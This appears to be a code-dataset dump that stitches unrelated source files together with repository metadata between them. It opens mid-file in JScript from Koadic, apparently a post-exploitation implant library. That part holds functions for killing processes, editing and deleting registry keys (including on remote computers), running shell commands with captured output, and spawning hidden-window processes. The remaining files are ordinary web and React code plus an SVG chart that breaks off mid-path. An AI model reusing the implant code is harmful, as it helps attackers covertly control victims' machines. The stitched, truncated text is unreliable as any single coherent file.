proc.CreationDate; latestProc = proc; } } */ if (proc.ProcessId == childPid) { latestProc = proc; break; } } catch (e) { } items.moveNext(); } pid = latestProc.ParentProcessId; latestProc.Terminate(); return pid; } Koadic.process.kill = function(pid) { var processes = Koadic.process.list(); var items = new Enumerator(processes); while (!items.atEnd()) { var proc = items.item(); try { if (proc.ProcessId == pid) { proc.Terminate(); return true; } } catch (e) { } items.moveNext(); } return false; } Koadic.process.list = function() { var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); var query = "Select * From Win32_Process"; return wmi.ExecQuery(query); } // http://apidock.com/ruby/Win32/Registry/Constants //registry.start Koadic.registry = {}; Koadic.registry.HKCR = 0x80000000; Koadic.registry.HKCU = 0x80000001; Koadic.registry.HKLM = 0x80000002; Koadic.registry.STRING = 0; Koadic.registry.BINARY = 1; Koadic.registry.DWORD = 2; Koadic.registry.QWORD = 3; Koadic.registry.provider = function(computer) { var computer = (typeof(computer) !== "undefined") ? computer : "."; var reg = GetObject("winmgmts:\\\\" + computer + "\\root\\default:StdRegProv"); return reg; } //registry.write.start Koadic.registry.write = function(hKey, path, key, value, valType, computer) { var reg = Koadic.registry.provider(computer); reg.CreateKey(hKey, path); if (valType == Koadic.registry.STRING) reg.SetStringValue(hKey, path, key, value); else if (valType == Koadic.registry.DWORD) reg.SetDWORDValue(hKey, path, key, value); else if (valType == Koadic.registry.QWORD) reg.SetQWORDValue(hKey, path, key, value); else if (valType == Koadic.registry.BINARY) reg.SetBinaryValue(hKey, path, key, value); } //registry.write.end //registry.read.start Koadic.registry.read = function(hKey, path, key, valType, computer) { var reg = Koadic.registry.provider(computer); var methodName = ""; if (valType == Koadic.registry.STRING) methodName = "GetStringValue"; else if (valType == Koadic.registry.DWORD) methodName = "GetDWORDValue"; else if (valType == Koadic.registry.QWORD) methodName = "GetQWORDValue"; else if (valType == Koadic.registry.BINARY) methodName = "GetBinaryValue"; if (methodName == "") return; var method = reg.Methods_.Item(methodName); var inparams = method.InParameters.SpawnInstance_(); inparams.hDefKey = hKey; inparams.sSubKeyName = path; inparams.sValueName = key; var outparams = reg.ExecMethod_(method.Name, inparams); return outparams; } //registry.read.end //registry.destroy.start Koadic.registry.destroy = function(hKey, path, key, computer) { var reg = Koadic.registry.provider(computer); var loc = (key == "") ? path : path + "\\" + key; return reg.DeleteKey(hKey, loc); } //registry.destroy.end /* // DEPRECATED Koadic.registry.create = function(hiveKey, path, key, computer) { var computer = (typeof(computer) !== "undefined") ? computer : "."; var sw = new ActiveXObject("WbemScripting.SWbemLocator"); var root = sw.ConnectServer(computer, "root\\default"); var reg = root.get("StdRegProv"); var enumKey = reg.Methods_.Item("EnumKey"); var inParams = enumKey.InParameters.SpawnInstance_(); inParams.hDefKey = hiveKey; inParams.sSubKeyName = path; var outParam = reg.ExecMethod_(enumKey.Name, inParams); if (outParam.ReturnValue != 0) return false; if (outParam.sNames) { var subKeys = outParam.sNames.toArray(); for (var i = 0; i < subKeys.length; ++i) { if (subkeys[i].toUpperCase() == key.toUpperCase()) return true; } } var createKey = reg.Methods_.Item("CreateKey"); var createArgs = createKey.InParameters.SpawnInstance_(); createArgs.hDefKey = hiveKey; createArgs.sSubKeyName = path + "\\" + key; var createRet = reg.ExecMethod_(createKey.Name, createArgs); return createRet.returnValue == 0; } */ //registry.end Koadic.WMI = {}; Koadic.WMI.createProcess = function(cmd) { var SW_HIDE = 0; var pid = 0; var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2") var si = wmi.Get("Win32_ProcessStartup").SpawnInstance_(); si.ShowWindow = SW_HIDE; si.CreateFlags = 16777216; si.X = si.Y = si.XSize = si.ySize = 1; //wmi.Get("Win32_Process").Create(cmd, null, si, pid); var w32proc = wmi.Get("Win32_Process"); var method = w32proc.Methods_.Item("Create"); var inParams = method.InParameters.SpawnInstance_(); inParams.CommandLine = cmd; inParams.CurrentDirectory = null; inParams.ProcessStartupInformation = si; var outParams = w32proc.ExecMethod_("Create", inParams); return outParams.ProcessId; } Koadic.shell = {}; //shell.exec.start Koadic.shell.exec = function(cmd, stdOutPath) { cmd = "chcp " + Koadic.user.shellchcp() + " & " + cmd; var c = "%comspec% /q /c " + cmd + " 1> " + Koadic.file.getPath(stdOutPath); c += " 2>&1"; Koadic.WS.Run(c, 0, true); var data = Koadic.file.readBinary(stdOutPath); Koadic.file.deleteFile(stdOutPath); return data; } //shell.exec.end //shell.run.start Koadic.shell.run = function(cmd, fork) { var fork = (typeof(fork) !== "undefined") ? fork : true; var c = "%comspec% /q /c " + cmd; Koadic.WS.Run(cmd, 0, !fork); } //shell.run.end Koadic.file = {}; Koadic.file.getPath = function(path) { return Koadic.WS.ExpandEnvironmentStrings(path); } /** * @return string - the system folder with x86 binaries */ Koadic.file.get32BitFolder = function() { var base = Koadic.file.getPath("%WINDIR%"); var syswow64 = base + "\\SysWOW64\\"; if (Koadic.FS.FolderExists(syswow64)) return syswow64; return base + "\\System32\\"; } //file.readText.start Koadic.file.readText = function(path) { var loopcount = 0; while(true) { if (Koadic.FS.FileExists(Koadic.file.getPath(path)) && Koadic.FS.GetFile(Koadic.file.getPath(path)).Size > 0) { var fd = Koadic.FS.OpenTextFile(Koadic.file.getPath(path), 1, false, 0); var data = fd.ReadAll(); fd.Close(); return data; } else { loopcount += 1; if (loopcount > 180) { return ""; } Koadic.shell.run("ping 127.0.0.1 -n 2", false); } } } //file.readText.end //file.readBinary.start Koadic.file.readBinary = function(path) { var loopcount = 0; while(true) { if (Koadic.FS.FileExists(Koadic.file.getPath(path)) && Koadic.FS.GetFile(Koadic.file.getPath(path)).Size > 0) { var fp = Koadic.FS.GetFile(Koadic.file.getPath(path)); var fd = fp.OpenAsTextStream(); var data = fd.read(fp.Size); fd.close(); return data; } else { loopcount += 1; if (loopcount > 180) { return ""; } Koadic.shell.run("ping 127.0.0.1 -n 2", false); } } } //file.readBinary.end //file.write.start Koadic.file.write = function(path, data) { var fd = Koadic.FS.CreateTextFile(Koadic.file.getPath(path), true); fd.write(data); fd.close(); } //file.write.end //file.deleteFile.start Koadic.file.deleteFile = function(path) { Koadic.FS.DeleteFile(Koadic.file.getPath(path), true); }; //file.deleteFile.end
25.040041
158
0.569273
462a8156ad65d7bf57f3b5ab091fd5d1b7d6c740
233
js
JavaScript
data/js/0c/41/01/00/00/00.24.js
p-g-krish/deepmac-tracker
44d625a6b1ec30bf52f8d12a44b0afc594eb5f94
[ "CC-BY-4.0", "MIT" ]
null
null
null
data/js/0c/41/01/00/00/00.24.js
p-g-krish/deepmac-tracker
44d625a6b1ec30bf52f8d12a44b0afc594eb5f94
[ "CC-BY-4.0", "MIT" ]
null
null
null
data/js/0c/41/01/00/00/00.24.js
p-g-krish/deepmac-tracker
44d625a6b1ec30bf52f8d12a44b0afc594eb5f94
[ "CC-BY-4.0", "MIT" ]
null
null
null
deepmacDetailCallback("0c4101000000/24",[{"d":"2018-07-04","t":"add","a":"No. 171 Haibin Road, Nansha District, Guangzhou, China Guangzhou Guangdong Province CN 511400","c":"CN","o":"Ruichi Auto Technology (Guangzhou) Co., Ltd."}]);
116.5
232
0.703863
462acf4ad38968a4aa56aa95ee39c4a36316ed2f
187
js
JavaScript
src/utils/dom/ready.js
DanielchenN/shineout
379028547999e9604738104052ff72d07142c588
[ "MIT" ]
780
2018-09-02T10:52:52.000Z
2022-03-29T07:30:22.000Z
src/utils/dom/ready.js
PatricioPeng/shineout
c676aa79c75894b5585ebfa308d1072d81c2d7c1
[ "MIT" ]
128
2018-09-14T09:38:23.000Z
2022-03-31T06:03:50.000Z
src/utils/dom/ready.js
PatricioPeng/shineout
c676aa79c75894b5585ebfa308d1072d81c2d7c1
[ "MIT" ]
145
2018-09-10T14:32:07.000Z
2022-03-31T07:43:55.000Z
export default function(callback) { if (!callback) return if (document.readyState !== 'loading') callback() else { document.addEventListener('DOMContentLoaded', callback) } }
23.375
59
0.705882
462b0f0678ab3e530eaf4ecc011d4ad16860367d
4,227
js
JavaScript
components/unblockUser.js
Ali-raza365/Chat_app_Share_slate
796aa2c8e37a0eceb86e302a657d68f43ce91621
[ "MIT" ]
null
null
null
components/unblockUser.js
Ali-raza365/Chat_app_Share_slate
796aa2c8e37a0eceb86e302a657d68f43ce91621
[ "MIT" ]
null
null
null
components/unblockUser.js
Ali-raza365/Chat_app_Share_slate
796aa2c8e37a0eceb86e302a657d68f43ce91621
[ "MIT" ]
null
null
null
import React, { useCallback, useEffect, useState } from "react"; import { StyleSheet, TouchableWithoutFeedback, Image, TouchableOpacity, Alert, Dimensions, ActivityIndicator, } from "react-native"; import { Block, Text } from "galio-framework"; import { argonTheme } from "../constants"; import { useDispatch, useSelector } from "react-redux"; import { blockList_action, unblockUser_action } from "../redux/reducers/userBlockHide/myBlog_action"; const { height, width } = Dimensions.get("window"); import { useIsFocused } from '@react-navigation/native'; export default function UnblockUser({ data, style, system, navigation, transparent, }) { const blockListFunc=()=>{ dispatch(blockList_action(token_is,navigation)) } const isFocused = useIsFocused(); useEffect(() => { }, [isFocused]) const { token_is } = useSelector((state) => state.Blog_For_Each_Item); const { myblog_loading,blockList } = useSelector((state) => state.myblog); const iconContainer = [ styles.iconContainer, system && { width: 34, height: 34 }, !system && styles.iconShadow, ]; const dispatch = useDispatch(); const container = [ styles.card, !transparent && { backgroundColor: argonTheme.COLORS.WHITE }, !transparent && styles.cardShadow, system && { height: 78 }, style, ]; const unbFunc=useCallback( async (id) => { await dispatch( unblockUser_action( { action: "unblock", token: token_is, id: id, }, navigation ) ); blockListFunc() }, [blockList] ); console.log(blockList,"KKK") if (blockList == undefined) { return ( <Text color={argonTheme.COLORS.TEXT} size={system ? 13 : 14} style={{ fontFamily: system ? "open-sans-bold" : "open-sans-regular", marginRight: 110, }} > No block user found </Text> ); } else { return ( <Block style={container}> <TouchableWithoutFeedback > <Block row style={{ width: "100%" }}> <Block middle style={iconContainer}> <Image style={{ width: 45, height: 45, borderRadius: 30 }} source={{ uri: data.image }} /> </Block> <Block flex style={{ paddingRight: 3, paddingLeft: 12 }}> <Text color={argonTheme.COLORS.PRIMARY} size={system ? 13 : 14} style={{ fontFamily: system ? "open-sans-bold" : "open-sans-regular", }} > { data.name} </Text> <Text color={argonTheme.COLORS.TEXT} size={system ? 13 : 14} style={{ fontFamily: system ? "open-sans-bold" : "open-sans-regular", }} > {data.date} </Text> </Block> <Block row flex={0.25} style={{ alignSelf: "center" }}> <TouchableOpacity onPress={() => { unbFunc(data.user_id) // ); }} > <Text color={argonTheme.COLORS.MUTED} style={{ fontFamily: "open-sans-regular", marginLeft: -7, marginTop: -2, }} size={12} > Unblock </Text> </TouchableOpacity> </Block> </Block> </TouchableWithoutFeedback> </Block> ); } } const styles = StyleSheet.create({ iconContainer: { width: 46, height: 46, marginLeft: 5, // borderRadius: 23, marginTop: 5, }, iconShadow: { shadowColor: "black", shadowOffset: { width: 0, height: 4 }, shadowRadius: 4, shadowOpacity: 0.1, elevation: 2, }, card: { zIndex: 2, maxHeight: 120, width: width * 0.88, borderRadius: 6, paddingVertical: 8, paddingHorizontal: 6, marginVertical: 10, }, cardShadow: { shadowColor: argonTheme.COLORS.BLACK, shadowOffset: { width: 0, height: 2 }, shadowRadius: 4, shadowOpacity: 0.1, elevation: 2, }, });
23.225275
101
0.531819
462b1dbeb1a42a5cb8c17581c6090346159db2a2
615
js
JavaScript
src/components/index.js
trungtin/mP
553c36b2b5833748fa58023c2889dfabcdcd2b01
[ "MIT" ]
null
null
null
src/components/index.js
trungtin/mP
553c36b2b5833748fa58023c2889dfabcdcd2b01
[ "MIT" ]
null
null
null
src/components/index.js
trungtin/mP
553c36b2b5833748fa58023c2889dfabcdcd2b01
[ "MIT" ]
null
null
null
/** * Point of contact for component modules * * ie: import { CounterButton, InfoBar } from 'components'; * */ export SurveyForm from './SurveyForm/SurveyForm'; export WidgetForm from './WidgetForm/WidgetForm'; export MovieBlock from './MovieComponents/MovieBlock'; export MovieCarousel from './MovieComponents/MovieCarousel'; export MovieDisplay from './MovieComponents/MovieDisplay'; export MoviePlayer from './MovieComponents/MoviePlayer'; export MovieExtendedView from './MovieComponents/MovieExtendedView'; export ResultBlock from './ProcessMComponents/ResultBlock'; export Modal from './Modal/Modal';
36.176471
68
0.782114
462b4853469294f75c6d79af3d3d7718d65737af
912
js
JavaScript
addon/components/leaf-polyline.js
ssured/ember-cli-leaflet
0b0f5a5e4b5dc6815b8d8c618bb59b5419f19074
[ "MIT" ]
null
null
null
addon/components/leaf-polyline.js
ssured/ember-cli-leaflet
0b0f5a5e4b5dc6815b8d8c618bb59b5419f19074
[ "MIT" ]
null
null
null
addon/components/leaf-polyline.js
ssured/ember-cli-leaflet
0b0f5a5e4b5dc6815b8d8c618bb59b5419f19074
[ "MIT" ]
null
null
null
import Ember from 'ember'; import LeafPathComponent from '../components/leaf-path'; import Rect from '../utils/rect'; export default LeafPathComponent.extend({ transform: null, latlngs: null, _latlngs: Ember.computed('transform', 'latlngs.@each.{lat,lng}', function() { var transform = this.get('transform'); var latlngs = (this.get('latlngs') || []).map(function(ll){ return Ember.getProperties(ll, 'lat', 'lng'); }); if (!!transform) { return latlngs.map(function(ll){ var projected = Rect.vxm([ll.lng, ll.lat, 1], transform); return {lat: projected[1], lng: projected[0]}; }); } return latlngs; }), layer: Ember.computed(function() { return this.L.polyline(this.get('_latlngs'), this.get('style')); }), _latlngsDidChange: Ember.observer('_latlngs', function() { this.get('layer').setLatLngs(this.get('_latlngs')); }) });
27.636364
79
0.631579
462b6383494e86fb8bb3da70066c51ced5b29817
33,818
js
JavaScript
packages/examples/src/svg/Svg2.js
Paladin-Analytics/react-pdf
bf848d33b4f3b6dc861c1e06a52b1f2c3c4c10ea
[ "MIT" ]
null
null
null
packages/examples/src/svg/Svg2.js
Paladin-Analytics/react-pdf
bf848d33b4f3b6dc861c1e06a52b1f2c3c4c10ea
[ "MIT" ]
1
2021-10-11T06:41:47.000Z
2021-10-11T06:41:47.000Z
packages/examples/src/svg/Svg2.js
Paladin-Analytics/react-pdf
bf848d33b4f3b6dc861c1e06a52b1f2c3c4c10ea
[ "MIT" ]
null
null
null
import React from 'react'; import { Rect, Svg, G, Path, Text, Defs, ClipPath, Tspan, LinearGradient, Stop, } from '@paladin-analytics/rpdf-renderer'; const Svg2 = () => ( <Svg width="400" viewBox="0 0 600 400"> <Defs> <LinearGradient x1="0" x2="0" y1="0" y2="1" id="highcharts-5xj7ee9-2948"> <Stop offset="0" stopColor="#B5E2D5" stopOpacity="0.7" /> <Stop offset="0.5" stopColor="rgb(225,243,239)" stopOpacity="0.5" /> <Stop offset="1" stopColor="#fff" stopOpacity="1" /> </LinearGradient> <ClipPath id="highcharts-5xj7ee9-2949"> <Rect x="0" y="0" width="544" height="319" fill="none" /> </ClipPath> </Defs> <Rect fill="#ffffff" x="0" y="0" width="600" height="400" rx="0" ry="0" /> <Rect fill="none" x="46" y="45" width="544" height="319" /> <G> <Path fill="none" d="M 58.5 45 L 58.5 364" opacity="1" /> <Path fill="none" d="M 167.5 45 L 167.5 364" opacity="1" /> <Path fill="none" d="M 276.5 45 L 276.5 364" opacity="1" /> <Path fill="none" d="M 384.5 45 L 384.5 364" opacity="1" /> <Path fill="none" d="M 492.5 45 L 492.5 364" opacity="1" /> </G> <G> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 364.5 L 590 364.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 318.5 L 590 318.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 273.5 L 590 273.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 227.5 L 590 227.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 182.5 L 590 182.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 136.5 L 590 136.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 91.5 L 590 91.5" opacity="1" /> <Path fill="none" stroke="#e6e6e6" strokeWidth="1" d="M 46 44.5 L 590 44.5" opacity="1" /> </G> <Rect fill="none" stroke="#cccccc" strokeWidth="1" x="45.5" y="44.5" width="545" height="320" /> <G> <Path fill="none" stroke="#ccd6eb" strokeWidth="1" d="M 58.5 364 L 58.5 374" opacity="1" /> <Path fill="none" stroke="#ccd6eb" strokeWidth="1" d="M 167.5 364 L 167.5 374" opacity="1" /> <Path fill="none" stroke="#ccd6eb" strokeWidth="1" d="M 276.5 364 L 276.5 374" opacity="1" /> <Path fill="none" stroke="#ccd6eb" strokeWidth="1" d="M 384.5 364 L 384.5 374" opacity="1" /> <Path fill="none" stroke="#ccd6eb" strokeWidth="1" d="M 492.5 364 L 492.5 374" opacity="1" /> <Path fill="none" stroke="#ccd6eb" strokeWidth="1" d="M 46 364.5 L 590 364.5" /> </G> <G> <Path fill="none" d="M 46 45 L 46 364" /> </G> <G> <G transform="translate(46,45) scale(1 1)" clip-Path="url(#highcharts-5xj7ee9-2949)" > <Path fill="url(#highcharts-5xj7ee9-2948)" d="M 0 229.26985714285718 L 2.0797378481704 230.31799999999998 L 4.1594756963408 228.6014761904762 L 6.2392135445112 229.46125714285716 L 8.3189513926816 228.27640000000002 L 10.398689240852 226.6905142857143 L 12.478427089022 227.21914285714286 L 14.558164937193 230.3909142857143 L 16.637902785363 230.26331428571427 L 18.717640633534 229.35188571428571 L 20.797378481704 224.44840000000002 L 22.877116329874 210.4306285714286 L 24.956854178045 177.0358857142857 L 27.036592026215 166.08051428571426 L 29.116329874386 169.36165714285715 L 31.196067722556 175.3892380952381 L 33.275805570726 223.51874285714285 L 35.355543418897 233.1981142857143 L 37.435281267067 207.86040000000003 L 39.515019115238 190.16957142857143 L 41.594756963408 181.68417142857143 L 43.674494811578 162.9452 L 45.754232659749 165.57011428571428 L 47.833970507919 180.21980952380952 L 49.91370835609 183.41588571428574 L 51.99344620426 212.05297142857142 L 54.07318405243 217.15697142857144 L 56.152921900601 217.3757142857143 L 58.232659748771 223.1906285714286 L 60.312397596942 206.2562857142857 L 62.392135445112 197.06908571428573 L 64.471873293282 189.6865142857143 L 66.551611141453 188.33152380952382 L 68.631348989623 176.52548571428574 L 70.711086837794 152.8648 L 72.790824685964 160.33851428571433 L 74.870562534134 156.2872142857143 L 76.950300382305 154.97931428571428 L 79.030038230475 181.192 L 81.109776078646 191.10834285714287 L 83.189513926816 183.83514285714284 L 85.269251774986 188.26468571428572 L 87.348989623157 185.45748571428572 L 89.428727471327 188.17354285714288 L 91.508465319498 136.9330285714286 L 93.588203167668 111.66519047619047 L 95.667941015838 112.30622857142856 L 97.747678864009 90.55954285714287 L 99.827416712179 77.56257142857146 L 101.90715456035 101.60150000000002 L 103.98689240852 108.73342857142859 L 106.06663025669 112.8166285714286 L 108.14636810486 155.23451428571428 L 110.22610595303 172.6428 L 112.3058438012 193.19247619047619 L 114.38558164937 181.68417142857143 L 116.46531949754 174.83022857142856 L 118.54505734571 169.9632 L 120.62479519388 139.8131428571429 L 122.70453304205 104.68668571428569 L 124.78427089022 98.7806285714286 L 126.86400873839 77.32560000000001 L 128.94374658656 86.05708571428573 L 131.02348443474 106.01737142857141 L 133.10322228291 139.63085714285717 L 135.18296013108 165.64302857142857 L 137.26269797925 203.9959428571429 L 139.34243582742 225.0165238095238 L 141.42217367559 229.71645714285714 L 143.50191152376 214.53205714285716 L 145.58164937193 202.95691428571428 L 147.6613872201 202.40550000000002 L 149.74112506827 194.35302857142858 L 151.82086291644 199.6757714285714 L 153.90060076461 218.81577142857145 L 155.98033861278 170.11814285714283 L 158.06007646095 146.13845714285713 L 160.13981430912 143.02137142857143 L 162.21955215729 142.96668571428572 L 164.29929000546 170.91108571428572 L 166.37902785363 238.90821428571428 L 168.4587657018 247.50754285714288 L 170.53850354997 250.5517142857143 L 172.61824139814 248.1273142857143 L 174.69797924631 241.14880952380952 L 176.77771709448 239.7057142857143 L 178.85745494265 227.21914285714286 L 180.93719279082 220.74800000000005 L 183.016930639 218.67450000000002 L 185.09666848717 226.52645714285717 L 187.17640633534 225.87022857142858 L 189.25614418351 224.4484 L 191.33588203168 209.50097142857143 L 193.41561987985 210.79520000000002 L 195.49535772802 216.39137142857146 L 197.57509557619 216.08148571428572 L 199.65483342436 239.23177142857145 L 201.73457127253 260.1824761904762 L 203.8143091207 255.78331428571428 L 205.89404696887 258.0801142857143 L 207.97378481704 264.7882285714286 L 210.05352266521 268.3245714285714 L 212.13326051338 278.69207142857147 L 214.21299836155 260.8690857142857 L 216.29273620972 257.6426285714286 L 218.37247405789 247.74451428571427 L 220.45221190606 241.39185714285713 L 222.53194975423 247.8721142857143 L 224.6116876024 242.53114285714287 L 226.69142545057 237.15371428571427 L 228.77116329874 237.40435714285712 L 230.85090114691 230.24508571428572 L 232.93063899508 214.47737142857142 L 235.01037684326 214.25862857142857 L 237.09011469143 211.25091428571432 L 239.1698525396 211.92537142857145 L 241.24959038777 225.14108571428574 L 243.32932823594 222.46148571428571 L 245.40906608411 214.69611428571432 L 247.48880393228 210.9957142857143 L 249.56854178045 208.26142857142855 L 251.64827962862 208.4984 L 253.72801747679 222.58908571428572 L 255.80775532496 235.71821428571428 L 257.88749317313 248.94760000000002 L 259.9672310213 243.31497142857143 L 262.04696886947 243.18737142857142 L 264.12670671764 241.07285714285715 L 266.20644456581 199.35980952380953 L 268.28618241398 153.32051428571432 L 270.36592026215 153.9038285714286 L 272.44565811032 157.13028571428575 L 274.52539595849 157.03914285714288 L 276.60513380666 203.68605714285712 L 278.68487165483 236.33342857142856 L 280.764609503 193.58742857142857 L 282.84434735117 93.58852380952382 L 284.92408519934 82.84885714285713 L 287.00382304752 67.02645714285711 L 289.08356089569 63.39897142857143 L 291.16329874386 81.46348571428572 L 293.24303659203 48.89814285714283 L 295.3227744402 45.425599999999974 L 297.40251228837 48.34217142857142 L 299.48225013654 41.178342857142866 L 301.56198798471 88.39034285714288 L 303.64172583288 131.1363428571429 L 305.72146368105 144.57080000000002 L 307.80120152922 171.54908571428575 L 309.88093937739 182.49838095238098 L 311.96067722556 165.97114285714287 L 314.04041507373 158.35160000000002 L 316.1201529219 156.54697142857142 L 318.19989077007 139.50325714285717 L 320.27962861824 173.17142857142858 L 322.35936646641 184.49137142857145 L 324.43910431458 192.78537142857144 L 326.51884216275 205.89171428571427 L 328.59858001092 226.45961904761904 L 330.67831785909 226.14365714285714 L 332.75805570726 187.59022857142855 L 334.83779355543 136.82365714285714 L 336.9175314036 84.17042857142857 L 338.99726925177 71.20080000000002 L 341.07700709995 71.54714285714289 L 343.15674494812 107.36628571428571 L 345.23648279629 142.54742857142858 L 347.31622064446 219.472 L 349.39595849263 221.98754285714284 L 351.4756963408 232.12262857142858 L 353.55543418897 196.10297142857144 L 355.63517203714 189.8657619047619 L 357.71490988531 183.3612 L 359.79464773348 151.1695428571429 L 361.87438558165 147.56028571428575 L 363.95412342982 156.9252142857143 L 366.03386127799 161.23171428571428 L 368.11359912616 162.52594285714287 L 370.19333697433 192.11091428571427 L 372.2730748225 166.75497142857142 L 374.35281267067 140.78533333333337 L 376.43255051884 122.47777142857143 L 378.51228836701 57.63874285714286 L 380.59202621518 45.49851428571429 L 382.67176406335 48.282928571428556 L 384.75150191152 44.09491428571431 L 386.83123975969 50.456685714285754 L 388.91097760786 86.95028571428574 L 390.99071545603 65.01523809523815 L 393.07045330421 75.15639999999999 L 395.15019115238 87.05965714285716 L 397.22992900055 119.59765714285712 L 399.30966684872 228.58628571428574 L 401.38940469689 235.14857142857144 L 403.46914254506 189.12142857142857 L 405.54888039323 157.8412 L 407.6286182414 154.45068571428573 L 409.70835608957 154.396 L 411.78809393774 157.51308571428572 L 413.86783178591 220.71154285714286 L 415.94756963408 242.7498857142857 L 418.02730748225 241.69262857142857 L 420.10704533042 246.54142857142858 L 422.18678317859 243.4608 L 424.26652102676 229.26074285714287 L 426.34625887493 212.47222857142856 L 428.4259967231 208.7855 L 430.50573457127 207.75102857142858 L 432.58547241944 213.5659428571429 L 434.66521026761 214.9513142857143 L 436.74494811578 225.6697142857143 L 438.82468596395 217.53977142857144 L 440.90442381212 211.85245714285713 L 442.98416166029 213.67531428571428 L 445.06389950847 212.74565714285717 L 447.14363735664 216.1452857142857 L 449.22337520481 234.18245714285712 L 451.30311305298 237.66411428571428 L 453.38285090115 236.20582857142858 L 455.46258874932 248.3825142857143 L 457.54232659749 243.93474285714285 L 459.62206444566 242.31240000000003 L 461.70180229383 249.7678857142857 L 463.781540142 259.17990476190477 L 465.86127799017 266.84805714285716 L 467.94101583834 273.7566857142857 L 470.02075368651 267.0121142857143 L 472.10049153468 260.75971428571427 L 474.18022938285 256.18434285714284 L 476.25996723102 257.9889714285714 L 478.33970507919 258.99154285714286 L 480.41944292736 231.2112 L 482.49918077553 216.85923809523808 L 484.5789186237 214.09457142857144 L 486.65865647187 209.4098285714286 L 488.73839432004 211.70662857142855 L 490.81813216821 231.68514285714286 L 492.89787001638 225.81554285714287 L 494.97760786455 223.82862857142857 L 497.05734571273 218.76108571428574 L 499.1370835609 223.5005142857143 L 501.21682140907 235.13338095238095 L 503.29655925724 237.68234285714286 L 505.37629710541 244.08057142857143 L 507.45603495358 251.66365714285712 L 509.53577280175 248.6605 L 511.61551064992 247.01537142857143 L 513.69524849809 221.34954285714286 L 515.77498634626 149.43782857142855 L 517.85472419443 141.89120000000003 L 519.9344620426 143.51354285714288 L 522.01419989077 147.23217142857143 L 524.09393773894 188.06417142857143 L 526.17367558711 216.95645714285715 L 528.25341343528 197.30909523809524 L 530.33315128345 196.1941142857143 L 532.41288913162 204.21468571428574 L 534.49262697979 203.55845714285715 L 536.57236482796 228.65464285714285 L 538.65210267613 231.6486857142857 L 540.7318405243 219.83657142857146 L 542.81157837247 208.47409523809526 L 542.81157837247 319 L 540.7318405243 319 L 538.65210267613 319 L 536.57236482796 319 L 534.49262697979 319 L 532.41288913162 319 L 530.33315128345 319 L 528.25341343528 319 L 526.17367558711 319 L 524.09393773894 319 L 522.01419989077 319 L 519.9344620426 319 L 517.85472419443 319 L 515.77498634626 319 L 513.69524849809 319 L 511.61551064992 319 L 509.53577280175 319 L 507.45603495358 319 L 505.37629710541 319 L 503.29655925724 319 L 501.21682140907 319 L 499.1370835609 319 L 497.05734571273 319 L 494.97760786455 319 L 492.89787001638 319 L 490.81813216821 319 L 488.73839432004 319 L 486.65865647187 319 L 484.5789186237 319 L 482.49918077553 319 L 480.41944292736 319 L 478.33970507919 319 L 476.25996723102 319 L 474.18022938285 319 L 472.10049153468 319 L 470.02075368651 319 L 467.94101583834 319 L 465.86127799017 319 L 463.781540142 319 L 461.70180229383 319 L 459.62206444566 319 L 457.54232659749 319 L 455.46258874932 319 L 453.38285090115 319 L 451.30311305298 319 L 449.22337520481 319 L 447.14363735664 319 L 445.06389950847 319 L 442.98416166029 319 L 440.90442381212 319 L 438.82468596395 319 L 436.74494811578 319 L 434.66521026761 319 L 432.58547241944 319 L 430.50573457127 319 L 428.4259967231 319 L 426.34625887493 319 L 424.26652102676 319 L 422.18678317859 319 L 420.10704533042 319 L 418.02730748225 319 L 415.94756963408 319 L 413.86783178591 319 L 411.78809393774 319 L 409.70835608957 319 L 407.6286182414 319 L 405.54888039323 319 L 403.46914254506 319 L 401.38940469689 319 L 399.30966684872 319 L 397.22992900055 319 L 395.15019115238 319 L 393.07045330421 319 L 390.99071545603 319 L 388.91097760786 319 L 386.83123975969 319 L 384.75150191152 319 L 382.67176406335 319 L 380.59202621518 319 L 378.51228836701 319 L 376.43255051884 319 L 374.35281267067 319 L 372.2730748225 319 L 370.19333697433 319 L 368.11359912616 319 L 366.03386127799 319 L 363.95412342982 319 L 361.87438558165 319 L 359.79464773348 319 L 357.71490988531 319 L 355.63517203714 319 L 353.55543418897 319 L 351.4756963408 319 L 349.39595849263 319 L 347.31622064446 319 L 345.23648279629 319 L 343.15674494812 319 L 341.07700709995 319 L 338.99726925177 319 L 336.9175314036 319 L 334.83779355543 319 L 332.75805570726 319 L 330.67831785909 319 L 328.59858001092 319 L 326.51884216275 319 L 324.43910431458 319 L 322.35936646641 319 L 320.27962861824 319 L 318.19989077007 319 L 316.1201529219 319 L 314.04041507373 319 L 311.96067722556 319 L 309.88093937739 319 L 307.80120152922 319 L 305.72146368105 319 L 303.64172583288 319 L 301.56198798471 319 L 299.48225013654 319 L 297.40251228837 319 L 295.3227744402 319 L 293.24303659203 319 L 291.16329874386 319 L 289.08356089569 319 L 287.00382304752 319 L 284.92408519934 319 L 282.84434735117 319 L 280.764609503 319 L 278.68487165483 319 L 276.60513380666 319 L 274.52539595849 319 L 272.44565811032 319 L 270.36592026215 319 L 268.28618241398 319 L 266.20644456581 319 L 264.12670671764 319 L 262.04696886947 319 L 259.9672310213 319 L 257.88749317313 319 L 255.80775532496 319 L 253.72801747679 319 L 251.64827962862 319 L 249.56854178045 319 L 247.48880393228 319 L 245.40906608411 319 L 243.32932823594 319 L 241.24959038777 319 L 239.1698525396 319 L 237.09011469143 319 L 235.01037684326 319 L 232.93063899508 319 L 230.85090114691 319 L 228.77116329874 319 L 226.69142545057 319 L 224.6116876024 319 L 222.53194975423 319 L 220.45221190606 319 L 218.37247405789 319 L 216.29273620972 319 L 214.21299836155 319 L 212.13326051338 319 L 210.05352266521 319 L 207.97378481704 319 L 205.89404696887 319 L 203.8143091207 319 L 201.73457127253 319 L 199.65483342436 319 L 197.57509557619 319 L 195.49535772802 319 L 193.41561987985 319 L 191.33588203168 319 L 189.25614418351 319 L 187.17640633534 319 L 185.09666848717 319 L 183.016930639 319 L 180.93719279082 319 L 